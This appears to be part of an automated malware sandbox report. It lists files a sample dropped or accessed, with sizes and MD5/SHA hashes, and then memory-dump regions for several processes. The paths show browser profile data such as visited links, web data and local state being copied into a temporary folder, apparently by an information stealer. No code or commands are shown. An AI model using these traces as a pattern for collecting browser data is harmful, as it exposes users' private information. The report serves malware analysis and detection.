C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Top Sites

Filesize
20KB

MD5
986962efd2be05909f2aaded39b753a6

SHA1
657924eda5b9473c70cc359d06b6ca731f6a1170

SHA256
d5dddbb1fbb6bbf2f59b9d8e4347a31b6915f3529713cd39c0e0096cea4c4889

SHA512
e2f086f59c154ea8a30ca4fa9768a9c2eb29c0dc2fe9a6ed688839853d90a190475a072b6f7435fc4a1b7bc361895086d3071967384a7c366ce77c6771b70308

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Visited Links

Filesize
128KB

MD5
1069de76a646ce3ca512e1c26f5e63c3

SHA1
843ddccbc3e6f224e955aa77fe9745a0e69cca01

SHA256
a57f349a9b164c160d06de17c271bec3808b851a3e52d4cc0ea564b81b927cff

SHA512
48e0473e883d220233382608b19223e3b8996ae9483b24be38acd5a944667b368222423df003eea303d7765436ae0d2bfbfc5e82ad499563c306faed3c7a5c93

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\Web Data

Filesize
114KB

MD5
ab2eab27052c6a70b6173771dc33b7a7

SHA1
d399eaf53916aa2d5779f79f0ee739c1127cd19a

SHA256
727e198e1ac1321e02a484cb9ef2c040cf445a25bc6842366fb538d4f7281acd

SHA512
65efd4a3ed7bc50b470474ca8d1d945b887e1918a66e9f553c746c113e28b18b01a0ce445e485a3ce08e7058994b16e6a88e6e12bac0237788f103d31cc986b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\000003.log

Filesize
4KB

MD5
b055495aa590f8556ffbdde27073ee70

SHA1
28506f154810df8284c4af10f5c9e70294f37e61

SHA256
070bb4be4745bdeb1ab8412ae00a69c34ccc92d8e50f219c546defab98e0dd9c

SHA512
8d21d7bec4d6951ca0b41a9dee6334edc18e40684614b537442f1fcdaf16ff4dc6dda2cde168b83ef5235763fe9c5217b71381cfb4aca390912dcd252902ba95

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\LOG

Filesize
263B

MD5
c95c518bb710e48e80ae4e6667830485

SHA1
5313d589b09f3034fa1efad8d44196d9a16698b6

SHA256
ddbb542b3bee8185965bcac36ec00e0a3046a760cebc6af3593563912858740c

SHA512
89bf53ff2893badce689df942ad1d46ead09ae842080d85e8628e26010f302548b98219ea3a339abdb7635b573bd464e403c0ef49cbf5e0b4fad3a2f088bc88e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\000003.log

Filesize
682B

MD5
8ffe22dcb09ee026056270c43faadbe1

SHA1
3fdfca9485695565f06f6f14f94474fc30427009

SHA256
2e1d3f65f95ba664b0a15d0cfc3f9f49d5ede6dc7e9a7cc4332d259e9f3b0ef6

SHA512
5da43668433a12c3142e21556a5f713ae4c37fddbfb21e6e4a0309a672870f04d9e0e2b639eefd189716418278540ae0e5c84cf3967730179c1be5b2df05b1f4

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Default\shared_proto_db\metadata\LOG

Filesize
281B

MD5
74d6ac7509d7c2af4857c6a1af2fdb6a

SHA1
d121249a4ee8ba9c3f5f6a3a13362e043a0b6ef5

SHA256
bc74a27318fa241dfa17ecb9501f8f0fd33b930b02acff9f3457968280ea6e4d

SHA512
a94baafdc7f842caaf942905e797c3134f3b8ba676f7c2debe6908b21a267fd258b329778b7daadfe82e6651d570f021c32014da806f107efbc8d7bc48140c6e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_0

Filesize
8KB

MD5
cf89d16bb9107c631daabf0c0ee58efb

SHA1
3ae5d3a7cf1f94a56e42f9a58d90a0b9616ae74b

SHA256
d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e

SHA512
8cb5b059c8105eb91e74a7d5952437aaa1ada89763c5843e7b0f1b93d9ebe15ed40f287c652229291fac02d712cf7ff5ececef276ba0d7ddc35558a3ec3f77b0

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_1

Filesize
264KB

MD5
d0d388f3865d0523e451d6ba0be34cc4

SHA1
8571c6a52aacc2747c048e3419e5657b74612995

SHA256
902f30c1fb0597d0734bc34b979ec5d131f8f39a4b71b338083821216ec8d61b

SHA512
376011d00de659eb6082a74e862cfac97a9bb508e0b740761505142e2d24ec1c30aa61efbc1c0dd08ff0f34734444de7f77dd90a6ca42b48a4c7fad5f0bddd17

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_2

Filesize
8KB

MD5
0962291d6d367570bee5454721c17e11

SHA1
59d10a893ef321a706a9255176761366115bedcb

SHA256
ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7

SHA512
f555e961b69e09628eaf9c61f465871e6984cd4d31014f954bb747351dad9cea6d17c1db4bca2c1eb7f187cb5f3c0518748c339c8b43bbd1dbd94aeaa16f58ed

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\GraphiteDawnCache\data_3

Filesize
8KB

MD5
41876349cb12d6db992f1309f22df3f0

SHA1
5cf26b3420fc0302cd0a71e8d029739b8765be27

SHA256
e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c

SHA512
e9a4fc1f7cb6ae2901f8e02354a92c4aaa7a53c640dcf692db42a27a5acc2a3bfb25a0de0eb08ab53983132016e7d43132ea4292e439bb636aafd53fb6ef907e

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Last Version

Filesize
11B

MD5
838a7b32aefb618130392bc7d006aa2e

SHA1
5159e0f18c9e68f0e75e2239875aa994847b8290

SHA256
ac3dd2221d90b09b795f1f72e72e4860342a4508fe336c4b822476eb25a55eaa

SHA512
9e350f0565cc726f66146838f9cebaaa38dd01892ffab9a45fe4f72e5be5459c0442e99107293a7c6f2412c71f668242c5e5a502124bc57cbf3b6ad8940cb3e9

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
8KB

MD5
b95f90ffe80dae0b2a7bde63a6ee122e

SHA1
b420fd71b904a881037876c90f6fe07d26c37ed2

SHA256
bc54b0d9d8aa07375b9e4fd4ee0a59f16287379d63d9d91f24e2dfb1f58abca4

SHA512
c3a8b5ca05cc3f84186710e887636125349837b520578382ca8e6216742ebb80778cdae1890b3c2c9d141206d4c9460d7c3df0352afd9fc9b0b0e3e1dcb404f8

Download Submit
C:\Users\Admin\AppData\Local\Temp\TmpUserData\Local State

Filesize
116KB

MD5
b6dc1e4b3db5bda7fd0f44287a97cd2e

SHA1
8f8972eb4215122f2506978d6d1025561cfa27c1

SHA256
fca1e67b66027f89df6e686db8e93e4716f5f1b4659c0f4d89780cb697d3704d

SHA512
13785cbed8ca0620a06e08902a67fbd2022f9bba247033a976fbac94df51a0889d5c7cdea38339b0863e94f23e4d60ab030291a409aaab82b5bbe7122c894ab0

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0okl2wta.b45.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ngqfbt

Filesize
4KB

MD5
c3c5f2de99b7486f697634681e21bab0

SHA1
00f90d495c0b2b63fde6532e033fdd2ade25633d

SHA256
76296dc29f718988107d35d0e0b835c2bf3fc7405e79e5121aa4738f82b51582

SHA512
7c60ffdc093de30e793d20768877f2f586bee3e948767871f9a1139252d5d2f593ba6f88ce0ed5f72c79faddb26186792df0581e4b6c84d405c44d9d12f951b8

Download Submit
C:\Users\Admin\AppData\Roaming\Indefeasibly149.Jin

Filesize
426KB

MD5
c0dbae0d63cbeeac0ae065ba88d26378

SHA1
9f2aa790b881ad1df538eeba8a7fe6d342b5ec93

SHA256
91ea5cf53ca24684643b570c77e32b5ab7e3e7b8fdb65a2941ae9616f1e7ccc8

SHA512
fb74d662327d6e90288a36c31e1fae918a16eef0bad035007017deba78410fe7ce19d63a1f707107bb5b7d529a5fb7f3ee8623b07c91ca7854c2c8e1b9dddde3

Download Submit
memory/1444-26-0x0000000005B50000-0x0000000006178000-memory.dmp

Filesize
6.2MB

Download
memory/1444-47-0x0000000008E40000-0x00000000093E4000-memory.dmp

Filesize
5.6MB

Download
memory/1444-43-0x0000000008210000-0x000000000888A000-memory.dmp

Filesize
6.5MB

Download
memory/1444-42-0x0000000006A00000-0x0000000006A4C000-memory.dmp

Filesize
304KB

Download
memory/1444-49-0x00000000093F0000-0x000000000A614000-memory.dmp

Filesize
18.1MB

Download
memory/1444-41-0x00000000069C0000-0x00000000069DE000-memory.dmp

Filesize
120KB

Download
memory/1444-29-0x0000000006390000-0x00000000063F6000-memory.dmp

Filesize
408KB

Download
memory/1444-28-0x00000000061F0000-0x0000000006256000-memory.dmp

Filesize
408KB

Download
memory/1444-27-0x0000000005B10000-0x0000000005B32000-memory.dmp

Filesize
136KB

Download
memory/1444-44-0x0000000006F70000-0x0000000006F8A000-memory.dmp

Filesize
104KB

Download
memory/1444-39-0x0000000006400000-0x0000000006754000-memory.dmp

Filesize
3.3MB

Download
memory/1444-25-0x00000000030E0000-0x0000000003116000-memory.dmp

Filesize
216KB

Download
memory/1444-45-0x0000000007C80000-0x0000000007D16000-memory.dmp

Filesize
600KB

Download
memory/1444-46-0x0000000007BE0000-0x0000000007C02000-memory.dmp

Filesize
136KB

Download
memory/2448-79-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2448-86-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/2448-85-0x0000000000400000-0x0000000000462000-memory.dmp

Filesize
392KB

Download
memory/3080-89-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3080-84-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3080-82-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3080-78-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3156-68-0x000000001EC20000-0x000000001EC54000-memory.dmp

Filesize
208KB

Download
memory/3156-62-0x0000000000CB0000-0x0000000001F04000-memory.dmp

Filesize
18.3MB

Download
memory/3156-72-0x000000001EC20000-0x000000001EC54000-memory.dmp

Filesize
208KB

Download
memory/3156-71-0x000000001EC20000-0x000000001EC54000-memory.dmp

Filesize
208KB

Download
memory/3156-140-0x000000001F660000-0x000000001F679000-memory.dmp

Filesize
100KB

Download
memory/3156-141-0x000000001F660000-0x000000001F679000-memory.dmp

Filesize
100KB

Download
memory/3156-137-0x000000001F660000-0x000000001F679000-memory.dmp

Filesize
100KB

Download
memory/4820-88-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4820-81-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/4820-87-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/5036-19-0x00007FF997E10000-0x00007FF9988D1000-memory.dmp

Filesize
10.8MB

Download
memory/5036-21-0x00007FF997E10000-0x00007FF9988D1000-memory.dmp

Filesize
10.8MB

Download
memory/5036-24-0x00007FF997E10000-0x00007FF9988D1000-memory.dmp

Filesize
10.8MB

Download
memory/5036-15-0x00007FF997E10000-0x00007FF9988D1000-memory.dmp

Filesize
10.8MB

Download
memory/5036-16-0x00007FF997E10000-0x00007FF9988D1000-memory.dmp

Filesize
10.8MB

Download
memory/5036-18-0x00007FF997E13000-0x00007FF997E15000-memory.dmp

Filesize
8KB

Download
memory/5036-10-0x0000013958540000-0x0000013958562000-memory.dmp

Filesize
136KB

Download
memory/5036-4-0x00007FF997E13000-0x00007FF997E15000-memory.dmp

Filesize
8KB

Download